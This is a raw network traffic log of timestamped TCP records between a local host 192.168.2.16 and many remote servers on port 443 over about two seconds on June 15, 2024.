Jun 15, 2024 11:14:56.409451962 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.409538984 CEST	49750	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:56.409573078 CEST	443	49750	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:56.410065889 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.410139084 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.410161018 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.410280943 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.410509109 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.415230036 CEST	49761	443	192.168.2.16	104.22.53.86
Jun 15, 2024 11:14:56.415249109 CEST	443	49761	104.22.53.86	192.168.2.16
Jun 15, 2024 11:14:56.439937115 CEST	49763	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:14:56.439960003 CEST	443	49763	145.239.192.166	192.168.2.16
Jun 15, 2024 11:14:56.449208975 CEST	443	49760	68.232.35.16	192.168.2.16
Jun 15, 2024 11:14:56.449754953 CEST	49760	443	192.168.2.16	68.232.35.16
Jun 15, 2024 11:14:56.449820042 CEST	443	49760	68.232.35.16	192.168.2.16
Jun 15, 2024 11:14:56.451102972 CEST	443	49760	68.232.35.16	192.168.2.16
Jun 15, 2024 11:14:56.451322079 CEST	49760	443	192.168.2.16	68.232.35.16
Jun 15, 2024 11:14:56.452596903 CEST	49760	443	192.168.2.16	68.232.35.16
Jun 15, 2024 11:14:56.452733040 CEST	443	49760	68.232.35.16	192.168.2.16
Jun 15, 2024 11:14:56.452742100 CEST	49760	443	192.168.2.16	68.232.35.16
Jun 15, 2024 11:14:56.454055071 CEST	443	49759	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:56.454498053 CEST	49759	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:56.454507113 CEST	443	49759	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:56.456051111 CEST	49755	443	192.168.2.16	46.243.182.89
Jun 15, 2024 11:14:56.456106901 CEST	443	49759	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:56.456115961 CEST	443	49755	46.243.182.89	192.168.2.16
Jun 15, 2024 11:14:56.456160069 CEST	49759	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:56.456691027 CEST	49759	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:56.456794024 CEST	443	49759	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:56.456800938 CEST	49759	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:56.458664894 CEST	49773	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:56.458753109 CEST	443	49773	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:56.459064007 CEST	49773	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:56.459178925 CEST	49773	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:56.459216118 CEST	443	49773	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:56.487931013 CEST	49763	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:14:56.496586084 CEST	443	49760	68.232.35.16	192.168.2.16
Jun 15, 2024 11:14:56.499902964 CEST	49774	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:14:56.499947071 CEST	443	49774	157.90.33.72	192.168.2.16
Jun 15, 2024 11:14:56.500127077 CEST	49774	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:14:56.500353098 CEST	49774	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:14:56.500399113 CEST	443	49774	157.90.33.72	192.168.2.16
Jun 15, 2024 11:14:56.503946066 CEST	49759	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:56.503961086 CEST	443	49759	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:56.504089117 CEST	49755	443	192.168.2.16	46.243.182.89
Jun 15, 2024 11:14:56.504089117 CEST	49760	443	192.168.2.16	68.232.35.16
Jun 15, 2024 11:14:56.504195929 CEST	443	49760	68.232.35.16	192.168.2.16
Jun 15, 2024 11:14:56.550899982 CEST	49759	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:56.551232100 CEST	49760	443	192.168.2.16	68.232.35.16
Jun 15, 2024 11:14:56.555269003 CEST	443	49764	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:56.555562973 CEST	49764	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:56.555573940 CEST	443	49764	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:56.556045055 CEST	443	49764	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:56.556350946 CEST	49764	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:56.556427002 CEST	443	49764	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:56.556484938 CEST	49764	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:56.600501060 CEST	443	49764	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:56.603143930 CEST	49688	443	192.168.2.16	2.19.96.107
Jun 15, 2024 11:14:56.631110907 CEST	443	49763	145.239.192.166	192.168.2.16
Jun 15, 2024 11:14:56.631165981 CEST	443	49763	145.239.192.166	192.168.2.16
Jun 15, 2024 11:14:56.631211996 CEST	49763	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:14:56.631623030 CEST	49763	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:14:56.631634951 CEST	443	49763	145.239.192.166	192.168.2.16
Jun 15, 2024 11:14:56.679325104 CEST	443	49760	68.232.35.16	192.168.2.16
Jun 15, 2024 11:14:56.679423094 CEST	443	49760	68.232.35.16	192.168.2.16
Jun 15, 2024 11:14:56.679582119 CEST	49760	443	192.168.2.16	68.232.35.16
Jun 15, 2024 11:14:56.680090904 CEST	49760	443	192.168.2.16	68.232.35.16
Jun 15, 2024 11:14:56.680157900 CEST	443	49760	68.232.35.16	192.168.2.16
Jun 15, 2024 11:14:56.686068058 CEST	443	49755	46.243.182.89	192.168.2.16
Jun 15, 2024 11:14:56.691781998 CEST	49776	443	192.168.2.16	68.232.35.16
Jun 15, 2024 11:14:56.691869974 CEST	443	49776	68.232.35.16	192.168.2.16
Jun 15, 2024 11:14:56.691973925 CEST	49776	443	192.168.2.16	68.232.35.16
Jun 15, 2024 11:14:56.692276955 CEST	49776	443	192.168.2.16	68.232.35.16
Jun 15, 2024 11:14:56.692368031 CEST	443	49776	68.232.35.16	192.168.2.16
Jun 15, 2024 11:14:56.703560114 CEST	443	49759	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:56.703685045 CEST	443	49759	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:56.703855038 CEST	49759	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:56.704123974 CEST	49759	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:56.704137087 CEST	443	49759	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:56.707690001 CEST	49777	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:56.707720041 CEST	443	49777	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:56.707792044 CEST	49777	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:56.707957983 CEST	49777	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:56.707973003 CEST	443	49777	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:56.725940943 CEST	49755	443	192.168.2.16	46.243.182.89
Jun 15, 2024 11:14:56.726006985 CEST	443	49755	46.243.182.89	192.168.2.16
Jun 15, 2024 11:14:56.726419926 CEST	49755	443	192.168.2.16	46.243.182.89
Jun 15, 2024 11:14:56.726516962 CEST	443	49755	46.243.182.89	192.168.2.16
Jun 15, 2024 11:14:56.726577997 CEST	49755	443	192.168.2.16	46.243.182.89
Jun 15, 2024 11:14:56.742753983 CEST	49778	443	192.168.2.16	78.140.242.74
Jun 15, 2024 11:14:56.742842913 CEST	443	49778	78.140.242.74	192.168.2.16
Jun 15, 2024 11:14:56.742928028 CEST	49778	443	192.168.2.16	78.140.242.74
Jun 15, 2024 11:14:56.743123055 CEST	49778	443	192.168.2.16	78.140.242.74
Jun 15, 2024 11:14:56.743160963 CEST	443	49778	78.140.242.74	192.168.2.16
Jun 15, 2024 11:14:56.774899960 CEST	443	49767	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:56.775192976 CEST	49767	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:56.775259018 CEST	443	49767	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:56.778817892 CEST	443	49767	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:56.778930902 CEST	49767	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:56.779290915 CEST	49767	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:56.779433966 CEST	49767	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:56.779470921 CEST	443	49767	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:56.820934057 CEST	49767	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:56.821000099 CEST	443	49767	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:56.831286907 CEST	443	49764	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:56.831353903 CEST	443	49764	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:56.831398964 CEST	443	49764	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:56.831434965 CEST	49764	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:56.831450939 CEST	443	49764	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:56.831496000 CEST	49764	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:56.831545115 CEST	49764	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:56.832284927 CEST	443	49764	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:56.832329035 CEST	443	49764	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:56.832361937 CEST	49764	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:56.832369089 CEST	443	49764	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:56.832390070 CEST	49764	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:56.868947029 CEST	49767	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:56.884933949 CEST	49764	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:56.885829926 CEST	443	49770	15.197.193.217	192.168.2.16
Jun 15, 2024 11:14:56.886066914 CEST	49770	443	192.168.2.16	15.197.193.217
Jun 15, 2024 11:14:56.886082888 CEST	443	49770	15.197.193.217	192.168.2.16
Jun 15, 2024 11:14:56.887255907 CEST	443	49770	15.197.193.217	192.168.2.16
Jun 15, 2024 11:14:56.887327909 CEST	49770	443	192.168.2.16	15.197.193.217
Jun 15, 2024 11:14:56.888154984 CEST	49770	443	192.168.2.16	15.197.193.217
Jun 15, 2024 11:14:56.888232946 CEST	443	49770	15.197.193.217	192.168.2.16
Jun 15, 2024 11:14:56.888304949 CEST	49770	443	192.168.2.16	15.197.193.217
Jun 15, 2024 11:14:56.888314962 CEST	443	49770	15.197.193.217	192.168.2.16
Jun 15, 2024 11:14:56.892901897 CEST	443	49769	18.66.102.57	192.168.2.16
Jun 15, 2024 11:14:56.893105030 CEST	49769	443	192.168.2.16	18.66.102.57
Jun 15, 2024 11:14:56.893130064 CEST	443	49769	18.66.102.57	192.168.2.16
Jun 15, 2024 11:14:56.894561052 CEST	443	49769	18.66.102.57	192.168.2.16
Jun 15, 2024 11:14:56.894648075 CEST	49769	443	192.168.2.16	18.66.102.57
Jun 15, 2024 11:14:56.895237923 CEST	49769	443	192.168.2.16	18.66.102.57
Jun 15, 2024 11:14:56.895319939 CEST	49769	443	192.168.2.16	18.66.102.57
Jun 15, 2024 11:14:56.895323992 CEST	443	49769	18.66.102.57	192.168.2.16
Jun 15, 2024 11:14:56.895349979 CEST	443	49769	18.66.102.57	192.168.2.16
Jun 15, 2024 11:14:56.903523922 CEST	443	49768	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:56.903922081 CEST	49768	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:56.903991938 CEST	443	49768	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:56.904357910 CEST	443	49768	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:56.904761076 CEST	49768	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:56.904839039 CEST	443	49768	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:56.904922009 CEST	49768	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:56.932950974 CEST	49770	443	192.168.2.16	15.197.193.217
Jun 15, 2024 11:14:56.947973013 CEST	443	49764	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:56.948004007 CEST	443	49764	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:56.948081970 CEST	49764	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:56.948112011 CEST	443	49764	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:56.948133945 CEST	49764	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:56.948154926 CEST	49764	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:56.948968887 CEST	49769	443	192.168.2.16	18.66.102.57
Jun 15, 2024 11:14:56.949016094 CEST	443	49769	18.66.102.57	192.168.2.16
Jun 15, 2024 11:14:56.949067116 CEST	443	49764	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:56.949105024 CEST	443	49764	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:56.949131966 CEST	49764	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:56.949137926 CEST	443	49764	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:56.949158907 CEST	49764	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:56.949184895 CEST	49764	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:56.949656010 CEST	443	49764	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:56.949696064 CEST	443	49764	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:56.949748993 CEST	49764	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:56.949754000 CEST	443	49764	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:56.949765921 CEST	443	49764	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:56.949798107 CEST	49764	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:56.949822903 CEST	49764	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:56.950087070 CEST	49764	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:56.950105906 CEST	443	49764	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:56.952507973 CEST	443	49768	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:56.996934891 CEST	49769	443	192.168.2.16	18.66.102.57
Jun 15, 2024 11:14:57.026489019 CEST	443	49767	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:57.026597977 CEST	443	49767	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:57.026695967 CEST	49767	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:57.027187109 CEST	49767	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:57.027235985 CEST	443	49767	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:57.043633938 CEST	443	49770	15.197.193.217	192.168.2.16
Jun 15, 2024 11:14:57.043730021 CEST	443	49770	15.197.193.217	192.168.2.16
Jun 15, 2024 11:14:57.043845892 CEST	49770	443	192.168.2.16	15.197.193.217
Jun 15, 2024 11:14:57.044531107 CEST	49770	443	192.168.2.16	15.197.193.217
Jun 15, 2024 11:14:57.044555902 CEST	443	49770	15.197.193.217	192.168.2.16
Jun 15, 2024 11:14:57.055551052 CEST	49780	443	192.168.2.16	3.33.220.150
Jun 15, 2024 11:14:57.055619955 CEST	443	49780	3.33.220.150	192.168.2.16
Jun 15, 2024 11:14:57.055728912 CEST	49780	443	192.168.2.16	3.33.220.150
Jun 15, 2024 11:14:57.055934906 CEST	49780	443	192.168.2.16	3.33.220.150
Jun 15, 2024 11:14:57.055972099 CEST	443	49780	3.33.220.150	192.168.2.16
Jun 15, 2024 11:14:57.139226913 CEST	443	49769	18.66.102.57	192.168.2.16
Jun 15, 2024 11:14:57.139524937 CEST	443	49769	18.66.102.57	192.168.2.16
Jun 15, 2024 11:14:57.139590025 CEST	49769	443	192.168.2.16	18.66.102.57
Jun 15, 2024 11:14:57.139920950 CEST	49769	443	192.168.2.16	18.66.102.57
Jun 15, 2024 11:14:57.139942884 CEST	443	49769	18.66.102.57	192.168.2.16
Jun 15, 2024 11:14:57.156352043 CEST	49781	443	192.168.2.16	91.228.74.244
Jun 15, 2024 11:14:57.156443119 CEST	443	49781	91.228.74.244	192.168.2.16
Jun 15, 2024 11:14:57.156739950 CEST	49781	443	192.168.2.16	91.228.74.244
Jun 15, 2024 11:14:57.156740904 CEST	49781	443	192.168.2.16	91.228.74.244
Jun 15, 2024 11:14:57.156876087 CEST	443	49781	91.228.74.244	192.168.2.16
Jun 15, 2024 11:14:57.177586079 CEST	443	49768	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:57.177725077 CEST	443	49768	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:57.177788019 CEST	49768	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:57.178409100 CEST	49768	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:57.178433895 CEST	443	49768	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:57.185272932 CEST	443	49771	185.89.210.244	192.168.2.16
Jun 15, 2024 11:14:57.185516119 CEST	49771	443	192.168.2.16	185.89.210.244
Jun 15, 2024 11:14:57.185537100 CEST	443	49771	185.89.210.244	192.168.2.16
Jun 15, 2024 11:14:57.187001944 CEST	443	49771	185.89.210.244	192.168.2.16
Jun 15, 2024 11:14:57.187092066 CEST	49771	443	192.168.2.16	185.89.210.244
Jun 15, 2024 11:14:57.187921047 CEST	49771	443	192.168.2.16	185.89.210.244
Jun 15, 2024 11:14:57.188015938 CEST	443	49771	185.89.210.244	192.168.2.16
Jun 15, 2024 11:14:57.188141108 CEST	49771	443	192.168.2.16	185.89.210.244
Jun 15, 2024 11:14:57.188152075 CEST	443	49771	185.89.210.244	192.168.2.16
Jun 15, 2024 11:14:57.188371897 CEST	49782	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:57.188457966 CEST	443	49782	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:57.188553095 CEST	49782	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:57.188714027 CEST	49782	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:57.188750982 CEST	443	49782	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:57.231942892 CEST	49771	443	192.168.2.16	185.89.210.244
Jun 15, 2024 11:14:57.433398008 CEST	443	49771	185.89.210.244	192.168.2.16
Jun 15, 2024 11:14:57.433506966 CEST	443	49771	185.89.210.244	192.168.2.16
Jun 15, 2024 11:14:57.433680058 CEST	49771	443	192.168.2.16	185.89.210.244
Jun 15, 2024 11:14:57.438565016 CEST	49771	443	192.168.2.16	185.89.210.244
Jun 15, 2024 11:14:57.438601971 CEST	443	49771	185.89.210.244	192.168.2.16
Jun 15, 2024 11:14:57.459197998 CEST	49783	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:14:57.459290028 CEST	443	49783	99.81.158.184	192.168.2.16
Jun 15, 2024 11:14:57.459369898 CEST	49783	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:14:57.459647894 CEST	49783	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:14:57.459686995 CEST	443	49783	99.81.158.184	192.168.2.16
Jun 15, 2024 11:14:57.467089891 CEST	49784	443	192.168.2.16	185.89.210.212
Jun 15, 2024 11:14:57.467130899 CEST	443	49784	185.89.210.212	192.168.2.16
Jun 15, 2024 11:14:57.467209101 CEST	49784	443	192.168.2.16	185.89.210.212
Jun 15, 2024 11:14:57.467397928 CEST	49784	443	192.168.2.16	185.89.210.212
Jun 15, 2024 11:14:57.467413902 CEST	443	49784	185.89.210.212	192.168.2.16
Jun 15, 2024 11:14:57.481323004 CEST	49785	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:57.481411934 CEST	443	49785	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:57.481498003 CEST	49785	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:57.481668949 CEST	49786	443	192.168.2.16	162.19.138.117
Jun 15, 2024 11:14:57.481697083 CEST	443	49786	162.19.138.117	192.168.2.16
Jun 15, 2024 11:14:57.481751919 CEST	49786	443	192.168.2.16	162.19.138.117
Jun 15, 2024 11:14:57.481854916 CEST	49785	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:57.481892109 CEST	443	49785	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:57.481981993 CEST	49786	443	192.168.2.16	162.19.138.117
Jun 15, 2024 11:14:57.481996059 CEST	443	49786	162.19.138.117	192.168.2.16
Jun 15, 2024 11:14:57.554147005 CEST	443	49773	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:57.554225922 CEST	443	49777	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:57.554498911 CEST	49773	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:57.554567099 CEST	443	49773	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:57.554657936 CEST	49777	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:57.554670095 CEST	443	49777	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:57.554955006 CEST	443	49773	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:57.555308104 CEST	49773	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:57.555396080 CEST	443	49773	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:57.555447102 CEST	49773	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:57.556117058 CEST	443	49777	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:57.556185007 CEST	49777	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:57.556459904 CEST	49777	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:57.556560040 CEST	443	49777	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:57.556576014 CEST	49777	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:57.588076115 CEST	443	49774	157.90.33.72	192.168.2.16
Jun 15, 2024 11:14:57.588326931 CEST	49774	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:14:57.588354111 CEST	443	49774	157.90.33.72	192.168.2.16
Jun 15, 2024 11:14:57.589576006 CEST	443	49774	157.90.33.72	192.168.2.16
Jun 15, 2024 11:14:57.589643002 CEST	49774	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:14:57.590596914 CEST	49774	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:14:57.590667963 CEST	443	49774	157.90.33.72	192.168.2.16
Jun 15, 2024 11:14:57.590784073 CEST	49774	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:14:57.590796947 CEST	443	49774	157.90.33.72	192.168.2.16
Jun 15, 2024 11:14:57.595935106 CEST	49777	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:57.595946074 CEST	443	49777	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:57.596498013 CEST	443	49773	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:57.643940926 CEST	49774	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:14:57.643986940 CEST	49777	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:57.725169897 CEST	443	49776	68.232.35.16	192.168.2.16
Jun 15, 2024 11:14:57.725558043 CEST	49776	443	192.168.2.16	68.232.35.16
Jun 15, 2024 11:14:57.725629091 CEST	443	49776	68.232.35.16	192.168.2.16
Jun 15, 2024 11:14:57.725990057 CEST	443	49776	68.232.35.16	192.168.2.16
Jun 15, 2024 11:14:57.726363897 CEST	49776	443	192.168.2.16	68.232.35.16
Jun 15, 2024 11:14:57.726479053 CEST	49776	443	192.168.2.16	68.232.35.16
Jun 15, 2024 11:14:57.726483107 CEST	443	49776	68.232.35.16	192.168.2.16
Jun 15, 2024 11:14:57.772102118 CEST	49776	443	192.168.2.16	68.232.35.16
Jun 15, 2024 11:14:57.772169113 CEST	443	49776	68.232.35.16	192.168.2.16
Jun 15, 2024 11:14:57.805608988 CEST	443	49773	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:57.805692911 CEST	443	49773	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:57.805872917 CEST	49773	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:57.806185007 CEST	49773	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:57.806250095 CEST	443	49777	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:57.806262016 CEST	443	49773	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:57.806494951 CEST	443	49777	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:57.806548119 CEST	49777	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:57.806992054 CEST	49777	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:57.807008028 CEST	443	49777	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:57.834758043 CEST	443	49774	157.90.33.72	192.168.2.16
Jun 15, 2024 11:14:57.834839106 CEST	443	49774	157.90.33.72	192.168.2.16
Jun 15, 2024 11:14:57.835055113 CEST	49774	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:14:57.835304022 CEST	49774	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:14:57.835304022 CEST	49774	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:14:57.835340977 CEST	443	49774	157.90.33.72	192.168.2.16
Jun 15, 2024 11:14:57.835406065 CEST	49774	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:14:57.836246967 CEST	49787	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:14:57.836281061 CEST	443	49787	157.90.33.72	192.168.2.16
Jun 15, 2024 11:14:57.836353064 CEST	49787	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:14:57.836549997 CEST	49787	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:14:57.836565971 CEST	443	49787	157.90.33.72	192.168.2.16
Jun 15, 2024 11:14:57.844264984 CEST	443	49780	3.33.220.150	192.168.2.16
Jun 15, 2024 11:14:57.844513893 CEST	49780	443	192.168.2.16	3.33.220.150
Jun 15, 2024 11:14:57.844547987 CEST	443	49780	3.33.220.150	192.168.2.16
Jun 15, 2024 11:14:57.848114967 CEST	443	49780	3.33.220.150	192.168.2.16
Jun 15, 2024 11:14:57.848206997 CEST	49780	443	192.168.2.16	3.33.220.150
Jun 15, 2024 11:14:57.848467112 CEST	49780	443	192.168.2.16	3.33.220.150
Jun 15, 2024 11:14:57.848578930 CEST	49780	443	192.168.2.16	3.33.220.150
Jun 15, 2024 11:14:57.848671913 CEST	443	49780	3.33.220.150	192.168.2.16
Jun 15, 2024 11:14:57.899951935 CEST	49780	443	192.168.2.16	3.33.220.150
Jun 15, 2024 11:14:57.899971962 CEST	443	49780	3.33.220.150	192.168.2.16
Jun 15, 2024 11:14:57.947076082 CEST	49780	443	192.168.2.16	3.33.220.150
Jun 15, 2024 11:14:57.950380087 CEST	443	49778	78.140.242.74	192.168.2.16
Jun 15, 2024 11:14:57.950685024 CEST	49778	443	192.168.2.16	78.140.242.74
Jun 15, 2024 11:14:57.950756073 CEST	443	49778	78.140.242.74	192.168.2.16
Jun 15, 2024 11:14:57.951714039 CEST	443	49778	78.140.242.74	192.168.2.16
Jun 15, 2024 11:14:57.951802015 CEST	49778	443	192.168.2.16	78.140.242.74
Jun 15, 2024 11:14:57.952047110 CEST	49778	443	192.168.2.16	78.140.242.74
Jun 15, 2024 11:14:57.952124119 CEST	443	49778	78.140.242.74	192.168.2.16
Jun 15, 2024 11:14:57.952164888 CEST	49778	443	192.168.2.16	78.140.242.74
Jun 15, 2024 11:14:57.958345890 CEST	443	49776	68.232.35.16	192.168.2.16
Jun 15, 2024 11:14:57.958463907 CEST	443	49776	68.232.35.16	192.168.2.16
Jun 15, 2024 11:14:57.958759069 CEST	49776	443	192.168.2.16	68.232.35.16
Jun 15, 2024 11:14:57.959500074 CEST	49776	443	192.168.2.16	68.232.35.16
Jun 15, 2024 11:14:57.959572077 CEST	443	49776	68.232.35.16	192.168.2.16
Jun 15, 2024 11:14:57.995157957 CEST	49778	443	192.168.2.16	78.140.242.74
Jun 15, 2024 11:14:57.995245934 CEST	443	49778	78.140.242.74	192.168.2.16
Jun 15, 2024 11:14:58.006551027 CEST	443	49780	3.33.220.150	192.168.2.16
Jun 15, 2024 11:14:58.006757021 CEST	443	49780	3.33.220.150	192.168.2.16
Jun 15, 2024 11:14:58.006818056 CEST	49780	443	192.168.2.16	3.33.220.150
Jun 15, 2024 11:14:58.007437944 CEST	49780	443	192.168.2.16	3.33.220.150
Jun 15, 2024 11:14:58.007477045 CEST	443	49780	3.33.220.150	192.168.2.16
Jun 15, 2024 11:14:58.042087078 CEST	49778	443	192.168.2.16	78.140.242.74
Jun 15, 2024 11:14:58.102103949 CEST	443	49782	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:58.102431059 CEST	49782	443	192.168.2.16	88.212.201.198
